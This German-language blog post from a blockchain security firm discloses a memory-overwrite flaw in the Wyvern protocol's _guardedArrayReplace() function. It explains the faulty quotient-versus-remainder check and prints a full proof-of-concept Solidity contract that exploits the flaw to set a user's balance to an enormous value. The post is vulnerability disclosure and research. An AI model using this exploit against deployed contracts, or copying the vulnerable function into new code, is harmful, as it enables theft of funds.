Back to Blog

Neue Schwachstelle zum Überschreiben von Speicher im Wyvern-Protokoll entdeckt

Code Auditing
September 8, 2022
7 min read

Einleitung

Unser System zur Schwachstellenerkennung hat eine Speicherüberschreibungsschwachstelle in der neuesten Implementierung der Wyvern-Bibliothek gefunden. Diese gehört zum Wyvern-Protokoll für dezentrale Börsen, das zuvor von OpenSea verwendet wurde. Dieser Fehler kann zu beliebigen Speicherbeschreibungen führen.

Wir haben versucht, das Projekt zu kontaktieren (z. B. per E-Mail und über soziale Medien), haben jedoch noch keine Antwort erhalten. Da OpenSea zum Seaport-Protokoll migriert ist, sind wir der Meinung, dass es sicher ist, die detaillierten Informationen öffentlich zu machen. Darüber hinaus möchten wir diese Ergebnisse teilen, um die Community einzubinden, da der Fehler selbst etwas knifflig ist und die Ausnutzung ziemlich interessant ist.

Beschreibung

Der anfällige Code ist im offiziellen Code-Repository mit dem Commit-Hash 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9 zu finden.

Genauer gesagt liegt dieser Fehler in der Funktion _guardedArrayReplace() von ArrayUtils.sol. Wie der Name schon sagt, wird diese Funktion verwendet, um ein Byte-Array mit dynamischer Größe (d. h. der zweite Parameter namens _desired) selektiv in ein anderes zu kopieren (d. h. der erste Parameter namens _array). Beachten Sie, dass diese Funktion für eine Wort-basierte (d. h. 0x20 Bytes) Operation implementiert ist, sodass die Code-Logik je nach Berechnungsergebnis der Division in zwei Schritte unterteilt werden kann.

Für den Quotienteil (d. h. words = array.length / 0x20) kopiert die Code-Logik von Zeile 42 bis Zeile 49 das gewünschte Array wortweise in das Zielarray. Dieser Schritt funktioniert wie erwartet, obwohl die assert-Anweisung in Zeile 39 aufgrund der Integer-Arithmetik nutzlos ist.

Nach dem vorherigen Schritt, wenn die Division einen Rest ergibt, bedeutet dies, dass noch einige Bytes übrig sind, die nicht korrekt kopiert wurden. Die Code-Logik von Zeile 52 bis Zeile 66 ist dafür ausgelegt, diese Bytes zu verarbeiten. Leider verwendet die if-Anweisung in Zeile 52 fälschlicherweise den Quotienten (words, d. h. array.length / 0x20) anstelle des Rests (array.length % 0x20), um die Prüfung durchzuführen.

Die Schwere

Dieser Fehler kann zu beliebigen Speicherbeschreibungen führen. Angenommen, array.length ist genau durch 0x20 teilbar, dann erfolgt die Kopiervorgang tatsächlich in der Schleifenlogik. In den meisten Fällen wird die Funktion jedoch die anfällige Logik betreten und versuchen, ein Wort hinter dem gewünschten Array in das Zielarray zu kopieren, was zwangsläufig zu einem außerhalb des gültigen Bereichs liegenden Zugriff führt. Schlimmer noch, die fehlerhafte Logik könnte ausgenutzt werden, um ein Wort am Ende des Zielarrays zu überschreiben, was ein unbekannter Speicherbereich ist, der für beliebige Zwecke genutzt werden kann.

Wie kann dieser Fehler ausgenutzt werden?

Wir haben einen PoC-Vertrag entwickelt, um den potenziellen Angriffsvektor zu veranschaulichen. Der PoC-Vertrag hat zwei Funktionen. Die erste mit dem Namen test() dient zur Durchführung des Angriffs, während die zweite einfach die anfällige Funktion guardedArrayReplace() ist.

Insbesondere definieren wir in der Funktion test() zunächst einige In-Memory-Bytes (a, b und mask) und ein Array (d. h. _rewards). Das hier definierte _rewards wird verwendet, um die Prämien des Benutzers zu berechnen. Nach dem Aufruf der Funktion guardedArrayReplace() zum Kopieren von a nach b mit mask wird _rewards zum Guthaben des Benutzers hinzugefügt (d. h. balances[msg.sender]).

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

Hier verwenden wir Remix zur Demonstration des Ergebnisses. Es ist erwähnenswert, dass zunächst kein Wert für _rewards und balances zugewiesen wird. Nach der Ausnutzung wird das Guthaben des Benutzers auf einen extrem hohen Wert gesetzt (wie im roten Rechteck gezeigt).

Schlussfolgerung

Obwohl selten, können solche Speicherüberschreibungsschwachstellen immer noch in Smart Contracts vorkommen. Entwickler müssen auf die Code-Logik achten, die den Speicher manipuliert.

Über BlockSec

BlockSec ist ein wegweisendes Blockchain-Sicherheitsunternehmen, das 2021 von einer Gruppe weltweit angesehener Sicherheitsexperten gegründet wurde. Das Unternehmen engagiert sich für die Verbesserung der Sicherheit und Benutzerfreundlichkeit für die aufstrebende Web3-Welt, um deren Massenadoption zu fördern. Zu diesem Zweck bietet BlockSec Auditing-Dienste für Smart Contracts und EVM-Ketten, die Phalcon-Plattform für die sichere Entwicklung und proaktive Bedrohungsabwehr, die MetaSleuth-Plattform für die Nachverfolgung von Geldern und Ermittlungen sowie die MetaDock-Erweiterung für Web3-Entwickler an, um effizient in der Krypto-Welt zu surfen.

Bis heute hat das Unternehmen über 300 angesehene Kunden wie MetaMask, Uniswap Foundation, Compound, Forta und PancakeSwap betreut und in zwei Finanzierungsrunden von namhaften Investoren, darunter Matrix Partners, Vitalbridge Capital und Fenbushi Capital, zweistellige Millionenbeträge an US-Dollar erhalten.

Offizielle Website: https://blocksec.com/

Offizielles Twitter-Konto: https://twitter.com/BlockSecTeam

Sign up for the latest updates
The Decentralization Dilemma: Cascading Risk and Emergency Power in the KelpDAO Crisis
Security Insights

The Decentralization Dilemma: Cascading Risk and Emergency Power in the KelpDAO Crisis

This BlockSec deep-dive analyzes the KelpDAO $290M rsETH cross-chain bridge exploit (April 18, 2026), attributed to the Lazarus Group, tracing a causal chain across three layers: how a single-point DVN dependency enabled the attack, how DeFi composability cascaded the damage through Aave V3 lending markets to freeze WETH liquidity exceeding $6.7B across Ethereum, Arbitrum, Base, Mantle, and Linea, and how the crisis forced decentralized governance to exercise centralized emergency powers. The article examines three parameters that shaped the cascade's severity (LTV, pool depth, and cross-chain deployment count) and provides an exclusive technical breakdown of Arbitrum Security Council's forced state transition, an atomic contract upgrade that moved 30,766 ETH without the holder's signature.

Weekly Web3 Security Incident Roundup | Apr 13 – Apr 19, 2026
Security Insights

Weekly Web3 Security Incident Roundup | Apr 13 – Apr 19, 2026

This BlockSec weekly security report covers four attack incidents detected between April 13 and April 19, 2026, across multiple chains such as Ethereum, Unichain, Arbitrum, and NEAR, with total estimated losses of approximately $310M. The highlighted incident is the $290M KelpDAO rsETH bridge exploit, where an attacker poisoned the RPC infrastructure of the sole LayerZero DVN to fabricate a cross-chain message, triggering a cascading WETH freeze across five chains and an Arbitrum Security Council forced state transition that raises questions about the actual trust boundaries of decentralized systems. Other incidents include a $242K MMR proof forgery on Hyperbridge, a $1.5M signed integer abuse on Dango, and an $18.4M circular swap path exploit on Rhea Finance's Burrowland protocol.

Weekly Web3 Security Incident Roundup | Apr 6 – Apr 12, 2026
Security Insights

Weekly Web3 Security Incident Roundup | Apr 6 – Apr 12, 2026

This BlockSec weekly security report covers four DeFi attack incidents detected between April 6 and April 12, 2026, across Linea, BNB Chain, Arbitrum, Optimism, Avalanche, and Base, with total estimated losses of approximately $928.6K. Notable incidents include a $517K approval-related exploit where a user mistakenly approved a permissionless SquidMulticall contract enabling arbitrary external calls, a $193K business logic flaw in the HB token's reward-settlement logic that allowed direct AMM reserve manipulation, a $165.6K exploit in Denaria's perpetual DEX caused by a rounding asymmetry compounded with an unsafe cast, and a $53K access control issue in XBITVault caused by an initialization-dependent check that failed open. The report provides detailed vulnerability analysis and attack transaction breakdowns for each incident.

Best Security Auditor for Web3

Validate design, code, and business logic before launch. Aligned with the highest industry security standards.

BlockSec Audit